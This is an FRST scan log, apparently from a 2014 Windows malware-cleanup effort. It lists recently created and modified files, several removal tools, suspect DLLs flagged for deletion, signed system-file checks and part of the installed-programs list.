2014-07-09 07:56 - 2014-07-09 07:56 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en (1).exe
2014-07-08 13:15 - 2014-07-08 13:15 - 05216105 ____R (Swearware) C:\Users\Dennis\Downloads\ComboFix.exe
2014-07-08 12:52 - 2014-07-08 12:52 - 04764760 _____ () C:\Users\Dennis\Downloads\RogueKiller.exe
2014-07-08 12:52 - 2014-07-08 12:52 - 00029696 _____ () C:\Windows\SysWOW64\Drivers\TrueSight.sys
2014-07-08 12:52 - 2014-07-08 12:52 - 00000000 ____D () C:\ProgramData\RogueKiller
2014-07-08 12:46 - 2014-07-08 12:46 - 00000000 ____D () C:\Users\Dennis\Downloads\ProcessExplorer
2014-07-08 12:45 - 2014-07-08 12:45 - 01243655 _____ () C:\Users\Dennis\Downloads\ProcessExplorer.zip
2014-07-08 12:09 - 2014-07-08 12:09 - 00000000 ____D () C:\NPE
2014-07-08 12:05 - 2014-07-08 12:05 - 03077584 ____N (Symantec Corporation) C:\Users\Dennis\Downloads\NPE.exe
2014-07-08 11:17 - 2014-07-10 09:38 - 00000896 _____ () C:\Windows\setupact.log
2014-07-08 11:17 - 2014-07-08 11:17 - 00000000 _____ () C:\Windows\setuperr.log
2014-07-08 11:11 - 2014-07-08 11:11 - 00000000 ____D () C:\TDSSKiller_Quarantine
2014-07-08 10:53 - 2014-07-08 10:53 - 04181856 _____ (Kaspersky Lab ZAO) C:\Users\Dennis\Downloads\tdsskiller.exe
2014-07-08 10:37 - 2014-07-08 10:37 - 00107742 _____ () C:\Users\Dennis\Desktop\cc_20140708_103450.reg
2014-07-08 10:02 - 2014-07-08 10:02 - 00002774 _____ () C:\Windows\System32\Tasks\CCleanerSkipUAC
2014-07-08 10:01 - 2014-07-08 12:34 - 00000000 ____D () C:\Program Files\CCleaner
2014-07-08 09:59 - 2014-07-08 09:59 - 04812672 _____ (Piriform Ltd) C:\Users\Dennis\Downloads\ccsetup415 (1).exe
2014-07-08 09:57 - 2014-07-08 09:57 - 04812672 _____ (Piriform Ltd) C:\Users\Dennis\Downloads\ccsetup415.exe
2014-07-08 09:16 - 2014-07-08 09:16 - 11185664 _____ (SurfRight B.V.) C:\Users\Dennis\Downloads\HitmanPro_x64.exe
2014-07-08 09:13 - 2014-07-08 09:13 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (5).exe
2014-07-08 06:49 - 2014-07-08 06:49 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (4).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (3).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (2).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (1).exe
2014-07-07 20:14 - 2010-08-30 08:34 - 00536576 _____ (SQLite Development Team) C:\Windows\SysWOW64\sqlite3.dll
2014-07-07 20:09 - 2014-07-07 20:09 - 01346519 _____ () C:\Users\Dennis\Downloads\AdwCleaner.exe
2014-07-07 16:41 - 2014-07-07 16:41 - 17292760 _____ (Malwarebytes Corporation ) C:\Users\Dennis\Downloads\mbam-setup-2.0.2.1012.exe
2014-07-07 16:39 - 2014-07-07 16:39 - 00000000 ____D () C:\Users\Dennis\AppData\Local\Adobe
2014-07-07 16:35 - 2014-07-07 16:35 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
2014-07-07 16:35 - 2014-07-07 16:35 - 00002019 _____ () C:\Users\Public\Desktop\Adobe Reader XI.lnk
2014-07-07 16:35 - 2014-07-07 16:35 - 00002019 _____ () C:\ProgramData\Desktop\Adobe Reader XI.lnk
2014-07-07 16:28 - 2014-07-07 16:28 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj.exe
2014-07-07 09:58 - 2014-07-09 21:49 - 00002990 _____ () C:\Windows\System32\Tasks\{8DC07200-A4A2-4054-8688-D500FC4CE4A8}
2014-07-07 09:56 - 2014-07-09 21:49 - 00002990 _____ () C:\Windows\System32\Tasks\{ABD907FF-80B7-4405-97AC-528C8D8A12B3}
2014-07-07 09:56 - 2014-07-09 21:49 - 00002990 _____ () C:\Windows\System32\Tasks\{9B61C97F-DABD-4F89-BB38-086A55D98E10}
2014-07-07 09:56 - 2014-07-09 21:49 - 00002990 _____ () C:\Windows\System32\Tasks\{75D03F6A-3B76-4EDC-9651-C33318F588F0}
2014-07-03 08:08 - 2014-07-03 08:08 - 00000761 _____ () C:\Windows\system32\Drivers\etc\hosts.txt
2014-07-02 05:23 - 2014-07-02 05:23 - 17765797 _____ () C:\Users\Dennis\Downloads\41562.wmv
2014-06-19 04:31 - 2014-06-19 04:31 - 04028598 _____ () C:\Users\Dennis\Downloads\Life_in_Detroit.mp4
 
==================== One Month Modified Files and Folders =======
 
2014-07-10 14:18 - 2014-07-09 21:33 - 00014119 _____ () C:\Users\Dennis\Downloads\FRST.txt
2014-07-10 14:17 - 2014-07-09 21:32 - 00000000 ____D () C:\FRST
2014-07-10 14:17 - 2013-06-05 16:59 - 00000072 _____ () C:\Users\Public\LMDebug.log
2014-07-10 14:15 - 2013-06-24 08:17 - 00000000 ____D () C:\Users\Dennis\AppData\Local\CrashDumps
2014-07-10 14:00 - 2014-07-10 14:00 - 00010762 _____ () C:\Users\Dennis\Documents\Attach.txt
2014-07-10 13:58 - 2014-07-10 13:58 - 00010762 _____ () C:\Users\Dennis\Desktop\attach.txt
2014-07-10 13:57 - 2014-07-10 13:58 - 00012329 _____ () C:\Users\Dennis\Desktop\dds.txt
2014-07-10 13:55 - 2014-07-10 13:55 - 00688992 ____R (Swearware) C:\Users\Dennis\Downloads\dds.com
2014-07-10 13:51 - 2014-02-12 04:41 - 00000898 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job
2014-07-10 10:51 - 2014-02-12 04:41 - 00000894 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
2014-07-10 10:40 - 2013-04-05 19:16 - 01972450 _____ () C:\Windows\WindowsUpdate.log
2014-07-10 09:46 - 2009-07-14 00:45 - 00014480 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2014-07-10 09:46 - 2009-07-14 00:45 - 00014480 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2014-07-10 09:39 - 2014-04-20 08:20 - 00001004 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\LogMeIn Client.lnk
2014-07-10 09:39 - 2014-04-20 08:20 - 00000988 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\LogMeIn Control Panel.lnk
2014-07-10 09:38 - 2014-07-08 11:17 - 00000896 _____ () C:\Windows\setupact.log
2014-07-10 09:38 - 2009-07-14 01:08 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2014-07-10 09:36 - 2013-04-22 23:29 - 00000000 ___RD () C:\Users\Dennis\Dropbox
2014-07-10 09:04 - 2014-01-08 09:38 - 00000000 ____D () C:\Users\Dennis\Documents\2014
2014-07-10 08:22 - 2014-04-20 06:08 - 00000540 _____ () C:\Windows\ABOSS14.INI
2014-07-10 08:09 - 2013-04-12 12:21 - 00000000 ____D () C:\Users\Dennis\Documents\2013
2014-07-10 07:52 - 2013-04-22 23:25 - 00000000 ____D () C:\Users\Dennis\AppData\Roaming\Dropbox
2014-07-10 07:51 - 2014-05-03 06:00 - 00000000 ____D () C:\Users\Dennis\AppData\Roaming\DropboxMaster
2014-07-10 06:15 - 2014-07-10 06:15 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (3).ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394.ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (2).ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (1).ugd
2014-07-10 04:13 - 2013-04-06 19:10 - 00000000 ____D () C:\ProgramData\LogMeIn
2014-07-10 03:00 - 2013-04-12 14:24 - 00000000 ____D () C:\ProgramData\TEMP
2014-07-10 00:57 - 2014-07-10 00:57 - 00053248 _____ () C:\ProgramData\e.dll
2014-07-09 21:52 - 2014-02-21 06:56 - 00000830 _____ () C:\Windows\Tasks\Adobe Flash Player Updater.job
2014-07-09 21:49 - 2014-07-07 09:58 - 00002990 _____ () C:\Windows\System32\Tasks\{8DC07200-A4A2-4054-8688-D500FC4CE4A8}
2014-07-09 21:49 - 2014-07-07 09:56 - 00002990 _____ () C:\Windows\System32\Tasks\{ABD907FF-80B7-4405-97AC-528C8D8A12B3}
2014-07-09 21:49 - 2014-07-07 09:56 - 00002990 _____ () C:\Windows\System32\Tasks\{9B61C97F-DABD-4F89-BB38-086A55D98E10}
2014-07-09 21:49 - 2014-07-07 09:56 - 00002990 _____ () C:\Windows\System32\Tasks\{75D03F6A-3B76-4EDC-9651-C33318F588F0}
2014-07-09 21:49 - 2014-04-20 06:05 - 00003038 _____ () C:\Windows\System32\Tasks\{F6F7F328-4F7E-4860-B2A1-8FAD48077CEC}
2014-07-09 21:49 - 2014-03-16 08:06 - 00002990 _____ () C:\Windows\System32\Tasks\{0F91A0D9-06EF-4DEA-8CDC-169F8A8FEB74}
2014-07-09 21:49 - 2013-04-27 12:58 - 00003038 _____ () C:\Windows\System32\Tasks\{F0F48981-20E6-4CB1-988C-A46C31DE401F}
2014-07-09 21:49 - 2013-04-22 22:10 - 00003060 _____ () C:\Windows\System32\Tasks\{63449390-988B-4A47-BF27-68587AD0A2DD}
2014-07-09 21:49 - 2013-04-12 13:09 - 00003770 _____ () C:\Windows\System32\Tasks\Adobe Flash Player Updater
2014-07-09 21:37 - 2014-07-09 21:36 - 00036349 _____ () C:\Users\Dennis\Downloads\Addition.txt
2014-07-09 21:32 - 2014-07-09 21:32 - 02084352 _____ (Farbar) C:\Users\Dennis\Downloads\FRST64.exe
2014-07-09 21:29 - 2013-08-01 16:08 - 00000000 ____D () C:\Qoobox
2014-07-09 21:28 - 2014-07-09 21:28 - 00019814 _____ () C:\ComboFix.txt
2014-07-09 21:20 - 2009-07-13 22:34 - 00000215 _____ () C:\Windows\system.ini
2014-07-09 21:19 - 2014-07-09 20:30 - 00001318 _____ () C:\Windows\PFRO.log
2014-07-09 21:05 - 2014-07-09 21:05 - 00001475 _____ () C:\Users\Dennis\Desktop\ComboFix - Shortcut.lnk
2014-07-09 20:50 - 2014-07-09 20:50 - 01285120 _____ () C:\Users\Dennis\Downloads\zoek.exe
2014-07-09 20:50 - 2014-07-09 20:50 - 00000002 _____ () C:\runcheck.txt
2014-07-09 20:50 - 2014-07-09 20:50 - 00000000 ____D () C:\zoek_backup
2014-07-09 20:37 - 2009-07-14 01:13 - 00783270 _____ () C:\Windows\system32\PerfStringBackup.INI
2014-07-09 20:29 - 2009-07-13 22:34 - 71827456 _____ () C:\Windows\system32\config\software.bak
2014-07-09 20:29 - 2009-07-13 22:34 - 18874368 _____ () C:\Windows\system32\config\system.bak
2014-07-09 20:29 - 2009-07-13 22:34 - 00786432 _____ () C:\Windows\system32\config\default.bak
2014-07-09 20:29 - 2009-07-13 22:34 - 00262144 _____ () C:\Windows\system32\config\security.bak
2014-07-09 20:29 - 2009-07-13 22:34 - 00262144 _____ () C:\Windows\system32\config\sam.bak
2014-07-09 09:47 - 2013-08-01 16:08 - 00000000 ____D () C:\Windows\erdnt
2014-07-09 07:58 - 2014-07-09 07:58 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en (2).exe
2014-07-09 07:57 - 2014-07-09 07:57 - 00001178 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 9.lnk
2014-07-09 07:57 - 2014-07-09 07:57 - 00001166 _____ () C:\Users\Public\Desktop\TeamViewer 9.lnk
2014-07-09 07:57 - 2014-07-09 07:57 - 00001166 _____ () C:\ProgramData\Desktop\TeamViewer 9.lnk
2014-07-09 07:56 - 2014-07-09 07:56 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en.exe
2014-07-09 07:56 - 2014-07-09 07:56 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en (1).exe
2014-07-08 20:53 - 2013-04-12 12:21 - 00000000 ____D () C:\Users\Dennis\Documents\2011
2014-07-08 13:15 - 2014-07-09 21:05 - 05216105 ____R (Swearware) C:\Users\Dennis\Desktop\ComboFix.exe
2014-07-08 13:15 - 2014-07-08 13:15 - 05216105 ____R (Swearware) C:\Users\Dennis\Downloads\ComboFix.exe
2014-07-08 12:52 - 2014-07-08 12:52 - 04764760 _____ () C:\Users\Dennis\Downloads\RogueKiller.exe
2014-07-08 12:52 - 2014-07-08 12:52 - 00029696 _____ () C:\Windows\SysWOW64\Drivers\TrueSight.sys
2014-07-08 12:52 - 2014-07-08 12:52 - 00000000 ____D () C:\ProgramData\RogueKiller
2014-07-08 12:46 - 2014-07-08 12:46 - 00000000 ____D () C:\Users\Dennis\Downloads\ProcessExplorer
2014-07-08 12:45 - 2014-07-08 12:45 - 01243655 _____ () C:\Users\Dennis\Downloads\ProcessExplorer.zip
2014-07-08 12:34 - 2014-07-08 10:01 - 00000000 ____D () C:\Program Files\CCleaner
2014-07-08 12:34 - 2013-08-01 16:39 - 00000000 ____D () C:\Windows\8AE3CFB678B24F55A7BE618FCFF43A03.TMP
2014-07-08 12:34 - 2013-06-06 01:51 - 00000000 ____D () C:\ProgramData\Norton
2014-07-08 12:34 - 2013-04-05 19:15 - 00000000 ____D () C:\Users\Dennis
2014-07-08 12:34 - 2009-07-13 23:20 - 00000000 ____D () C:\Windows\registration
2014-07-08 12:34 - 2009-07-13 23:20 - 00000000 ____D () C:\Windows\AppCompat
2014-07-08 12:24 - 2013-06-06 01:51 - 00000000 ____D () C:\Users\Dennis\AppData\Local\NPE
2014-07-08 12:09 - 2014-07-08 12:09 - 00000000 ____D () C:\NPE
2014-07-08 12:05 - 2014-07-08 12:05 - 03077584 ____N (Symantec Corporation) C:\Users\Dennis\Downloads\NPE.exe
2014-07-08 11:50 - 2013-04-12 15:13 - 00000000 ____D () C:\Windows\system32\appmgmt
2014-07-08 11:17 - 2014-07-08 11:17 - 00000000 _____ () C:\Windows\setuperr.log
2014-07-08 11:11 - 2014-07-08 11:11 - 00000000 ____D () C:\TDSSKiller_Quarantine
2014-07-08 10:53 - 2014-07-08 10:53 - 04181856 _____ (Kaspersky Lab ZAO) C:\Users\Dennis\Downloads\tdsskiller.exe
2014-07-08 10:37 - 2014-07-08 10:37 - 00107742 _____ () C:\Users\Dennis\Desktop\cc_20140708_103450.reg
2014-07-08 10:12 - 2013-05-06 10:10 - 00000000 ____D () C:\Windows\Minidump
2014-07-08 10:12 - 2013-04-12 14:44 - 00000000 ____D () C:\Users\Dennis\AppData\Roaming\DAEMON Tools Lite
2014-07-08 10:12 - 2013-04-12 13:24 - 00000000 ____D () C:\Users\Dennis\AppData\Roaming\FileZilla
2014-07-08 10:12 - 2013-04-05 08:17 - 00000000 ____D () C:\Windows\Panther
2014-07-08 10:02 - 2014-07-08 10:02 - 00002774 _____ () C:\Windows\System32\Tasks\CCleanerSkipUAC
2014-07-08 09:59 - 2014-07-08 09:59 - 04812672 _____ (Piriform Ltd) C:\Users\Dennis\Downloads\ccsetup415 (1).exe
2014-07-08 09:57 - 2014-07-08 09:57 - 04812672 _____ (Piriform Ltd) C:\Users\Dennis\Downloads\ccsetup415.exe
2014-07-08 09:16 - 2014-07-08 09:16 - 11185664 _____ (SurfRight B.V.) C:\Users\Dennis\Downloads\HitmanPro_x64.exe
2014-07-08 09:13 - 2014-07-08 09:13 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (5).exe
2014-07-08 06:49 - 2014-07-08 06:49 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (4).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (3).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (2).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (1).exe
2014-07-08 06:29 - 2013-04-12 12:21 - 00000000 ____D () C:\Users\Dennis\Documents\2012
2014-07-08 06:05 - 2013-04-12 12:19 - 00000000 ____D () C:\Users\Dennis\Documents\2001
2014-07-08 06:04 - 2013-04-12 12:19 - 00000000 ____D () C:\Users\Dennis\Documents\2002
2014-07-07 20:14 - 2014-02-06 15:26 - 00000000 ____D () C:\AdwCleaner
2014-07-07 20:09 - 2014-07-07 20:09 - 01346519 _____ () C:\Users\Dennis\Downloads\AdwCleaner.exe
2014-07-07 20:03 - 2013-04-06 14:08 - 00000000 ____D () C:\ProgramData\Adobe
2014-07-07 20:03 - 2009-07-14 03:46 - 00000000 ____D () C:\Windows\CSC
2014-07-07 19:58 - 2014-06-02 22:12 - 00000000 ____D () C:\ProgramData\D8DA51C7040AC7B857C61FC42FA211BA
2014-07-07 19:58 - 2014-05-31 00:25 - 00000000 ____D () C:\ProgramData\5270FA6688441313A39456CC4AFC776A
2014-07-07 16:42 - 2013-08-01 16:41 - 00000000 ____D () C:\ProgramData\Malwarebytes
2014-07-07 16:41 - 2014-07-07 16:41 - 17292760 _____ (Malwarebytes Corporation ) C:\Users\Dennis\Downloads\mbam-setup-2.0.2.1012.exe
2014-07-07 16:39 - 2014-07-07 16:39 - 00000000 ____D () C:\Users\Dennis\AppData\Local\Adobe
2014-07-07 16:35 - 2014-07-07 16:35 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
2014-07-07 16:35 - 2014-07-07 16:35 - 00002019 _____ () C:\Users\Public\Desktop\Adobe Reader XI.lnk
2014-07-07 16:35 - 2014-07-07 16:35 - 00002019 _____ () C:\ProgramData\Desktop\Adobe Reader XI.lnk
2014-07-07 16:35 - 2013-04-12 15:15 - 00000000 ____D () C:\Program Files (x86)\Adobe
2014-07-07 16:28 - 2014-07-07 16:28 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj.exe
2014-07-03 08:08 - 2014-07-03 08:08 - 00000761 _____ () C:\Windows\system32\Drivers\etc\hosts.txt
2014-07-02 05:23 - 2014-07-02 05:23 - 17765797 _____ () C:\Users\Dennis\Downloads\41562.wmv
2014-07-01 09:18 - 2013-04-12 12:20 - 00000000 ____D () C:\Users\Dennis\Documents\2004
2014-06-30 07:51 - 2013-10-31 06:08 - 00000529 _____ () C:\Windows\ABOSF14.INI
2014-06-30 05:46 - 2013-04-12 12:20 - 00000000 ____D () C:\Users\Dennis\Documents\2007
2014-06-30 05:39 - 2013-06-09 10:25 - 00000000 ____D () C:\Users\Dennis\Documents\Grange Insurance
2014-06-26 14:45 - 2013-04-12 12:20 - 00000000 ____D () C:\Users\Dennis\Documents\2008
2014-06-23 09:06 - 2013-04-12 12:19 - 00000000 ____D () C:\Users\Dennis\Documents\2003
2014-06-19 10:46 - 2013-04-12 13:09 - 00003894 _____ () C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA
2014-06-19 10:46 - 2013-04-12 13:09 - 00003642 _____ () C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore
2014-06-19 07:12 - 2013-04-12 12:20 - 00000000 ____D () C:\Users\Dennis\Documents\2010
2014-06-19 04:31 - 2014-06-19 04:31 - 04028598 _____ () C:\Users\Dennis\Downloads\Life_in_Detroit.mp4
2014-06-12 20:02 - 2014-06-03 04:32 - 00002183 _____ () C:\Users\Public\Desktop\Google Chrome.lnk
2014-06-12 20:02 - 2014-06-03 04:32 - 00002183 _____ () C:\ProgramData\Desktop\Google Chrome.lnk
 
Files to move or delete:
====================
C:\ProgramData\e.dll
C:\Users\Office 2007 Enterprise\setup.exe
 
 
Some content of TEMP:
====================
C:\Users\Dennis\AppData\Local\temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmpi7eyie.dll
C:\Users\Dennis\AppData\Local\temp\e.dll
C:\Users\Dennis\AppData\Local\temp\hiv.dll
C:\Users\Dennis\AppData\Local\temp\txwx.dll
 
 
==================== Bamital & volsnap Check =================
 
C:\Windows\System32\winlogon.exe => File is digitally signed
C:\Windows\System32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\System32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\System32\services.exe => File is digitally signed
C:\Windows\System32\User32.dll => File is digitally signed
C:\Windows\SysWOW64\User32.dll => File is digitally signed
C:\Windows\System32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\System32\rpcss.dll => File is digitally signed
C:\Windows\System32\Drivers\volsnap.sys => File is digitally signed
 
 
LastRegBack: 2014-07-09 10:04
 
==================== End Of Log ============================
 
Additional scan result of Farbar Recovery Scan Tool (x64) Version: 09-07-2014
Ran by Dennis at 2014-07-10 14:18:44
Running from C:\Users\Dennis\Downloads
Boot Mode: Normal
==========================================================
 
 
==================== Security Center ========================
 
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
FW: Endpoint Security by Bitdefender Firewall (Enabled) {A23392FD-84B9-F933-2C71-81E751F6EF46}
 
==================== Installed Programs ======================
 
64 Bit HP CIO Components Installer (Version: 13.2.1 - Hewlett-Packard) Hidden
7500_7600_7700_Help1 (x32 Version: 1.00.0000 - Hewlett-Packard) Hidden
ABOS Fall/Winter MY2014 (HKLM-x32\...\{CDA43CE2-2338-4501-A8E7-18D6FD8805E1}) (Version: 2.0.0 - Penton Media, Inc.)
ABOS Spring/Summer MY2012 (HKLM-x32\...\{A08C0E2E-FB61-4FF1-821E-B663FAFB8608}) (Version: 2.0.0 - Penton Media, Inc.)
ABOS Spring/Summer MY2013 (HKLM-x32\...\{D6065C9C-BAFC-460B-A7A0-2B8078BE7402}) (Version: 2.0.0 - Penton Media, Inc.)
ABOS Spring/Summer MY2014 (HKLM-x32\...\{6749E6BA-67B4-40BE-97EA-E7EAD683E383}) (Version: 2.0.0 - Penton Media, Inc.)
Adobe Flash Player 13 ActiveX (HKLM-x32\...\Adobe Flash Player ActiveX) (Version: 13.0.0.214 - Adobe Systems Incorporated)
Adobe Reader XI (11.0.07) (HKLM-x32\...\{AC76BA86-7AD7-1033-7B44-AB0000000001}) (Version: 11.0.07 - Adobe Systems Incorporated)
Apple Application Support (HKLM-x32\...\{46F044A5-CE8B-4196-984E-5BD6525E361D}) (Version: 2.3.6 - Apple Inc.)
Apple Mobile Device Support (HKLM\...\{2EF5D87E-B7BD-458F-8428-E4D0B8B4E65C}) (Version: 7.0.0.117 - Apple Inc.)
Apple Software Update (HKLM-x32\...\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}) (Version: 2.1.3.127 - Apple Inc.)
ATI Catalyst Install Manager (HKLM\...\{CCC50A42-892B-AF23-6188-6E8D2FDF34E3}) (Version: 3.0.754.0 - ATI Technologies, Inc.)
ATI Catalyst Registration (x32 Version: 2.01.0000 - ATI Technologies Inc.) Hidden
Bonjour (HKLM\...\{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}) (Version: 3.0.0.10 - Apple Inc.)
bpd_scan_Carrier (x32 Version: 3.00.0000 - Hewlett-Packard) Hidden
BPDSoftware (x32 Version: 140.0.000.000 - Hewlett-Packard) Hidden
BPDSoftware_Ini (x32 Version: 1.00.0000 - Hewlett-Packard) Hidden
BufferChm (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
Catalyst Control Center - Branding (x32 Version: 1.00.0000 - ATI) Hidden
Catalyst Control Center Core Implementation (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center Graphics Full Existing (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center Graphics Full New (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center Graphics Light (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center Graphics Previews Common (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center Graphics Previews Vista (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center HydraVision Full (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center InstallProxy (x32 Version: 2009.1124.2131.38610 - ATI Technologies, Inc.) Hidden
CCC Help English (x32 Version: 2009.1124.2130.38610 - ATI) Hidden
ccc-core-static (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
ccc-utility64 (Version: 2009.1124.2131.38610 - ATI) Hidden
CCleaner (HKLM\...\CCleaner) (Version: 4.15 - Piriform)
Common Desktop Agent (Version: 1.53.0 - OEM) Hidden
DAEMON Tools Lite (HKLM-x32\...\DAEMON Tools Lite) (Version: 4.47.1.0333 - Disc Soft Ltd)
Destinations (x32 Version: 130.0.0.0 - Hewlett-Packard) Hidden
DeviceDiscovery (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
DocProc (x32 Version: 140.0.100.000 - Hewlett-Packard) Hidden
Dragon NaturallySpeaking 12 (HKLM-x32\...\{D5D422B9-6976-4E98-8DDF-9632CB515D7E}) (Version: 12.50.000 - Nuance Communications Inc.)
Dropbox (HKCU\...\Dropbox) (Version: 2.8.2 - Dropbox, Inc.)
Endpoint (Version: 5.3.1 - Bitdefender) Hidden
Endpoint Security by Bitdefender (HKLM\...\Endpoint Security) (Version: 5.3.1.335 - Bitdefender)
Fax (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
FileZilla Client 3.6.0.2 (HKLM-x32\...\FileZilla Client) (Version: 3.6.0.2 - FileZilla Project)
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 35.0.1916.153 - Google Inc.)
Google Update Helper (x32 Version: 1.3.24.15 - Google Inc.) Hidden
GPBaseService2 (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
HP Customer Participation Program 14.0 (HKLM\...\HPExtendedCapabilities) (Version: 14.0 - HP)
HP Imaging Device Functions 14.0 (HKLM\...\HP Imaging Device Functions) (Version: 14.0 - HP)
HP OfficeJet L7300/L7500/7600/7700 (HKLM\...\{9D6C64CC-EA60-47A6-9C97-82C38231EDAE}) (Version: 14.0 - HP)
HP Smart Web Printing 4.60 (HKLM\...\HP Smart Web Printing) (Version: 4.60 - HP)
HP Solution Center 14.0 (HKLM\...\HP Solution Center & Imaging Support Tools) (Version: 14.0 - HP)
HP Update (HKLM-x32\...\{74DC0593-6BC6-4001-AD5F-D810AFB68D86}) (Version: 5.002.002.002 - Hewlett-Packard)
HPDiagnosticAlert (x32 Version: 1.00.0000 - Microsoft) Hidden
HPProductAssistant (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
HPSSupply (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
ImgBurn (HKLM-x32\...\ImgBurn) (Version: 2.5.7.0 - LIGHTNING UK!)
iTunes (HKLM\...\{D601CEAD-2E4F-4BBB-85CC-C29A4CE6A3C0}) (Version: 11.1.3.8 - Apple Inc.)
L7600 (x32 Version: 140.0.000.000 - Hewlett-Packard) Hidden
LogMeIn (HKLM-x32\...\{0330FC8D-EDB2-455E-A3DC-B56DD107E4BC}) (Version: 4.1.2694 - LogMeIn, Inc.)
MarketResearch (x32 Version: 140.0.214.000 - Hewlett-Packard) Hidden
Microsoft .NET Framework 4 Client Profile (HKLM\...\Microsoft .NET Framework 4 Client Profile) (Version: 4.0.30319 - Microsoft Corporation)
Microsoft .NET Framework 4 Client Profile (Version: 4.0.30319 - Microsoft Corporation) Hidden
Microsoft .NET Framework 4 Extended (HKLM\...\Microsoft .NET Framework 4 Extended) (Version: 4.0.30319 - Microsoft Corporation)
Microsoft .NET Framework 4 Extended (Version: 4.0.30319 - Microsoft Corporation) Hidden
Microsoft MapPoint North America 2010 (HKLM-x32\...\{C82185E8-C27B-4EF4-2010-1111BC2C2B6D}) (Version: 17.0.18.2200 - Microsoft Corporation)
Microsoft Mouse and Keyboard Center (HKLM\...\Microsoft Mouse and Keyboard Center) (Version: 2.1.177.0 - Microsoft Corporation)
Microsoft Mouse and Keyboard Center (Version: 2.1.177.0 - Microsoft Corporation) Hidden
Microsoft Office 2007 Service Pack 3 (SP3) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version:  - Microsoft)
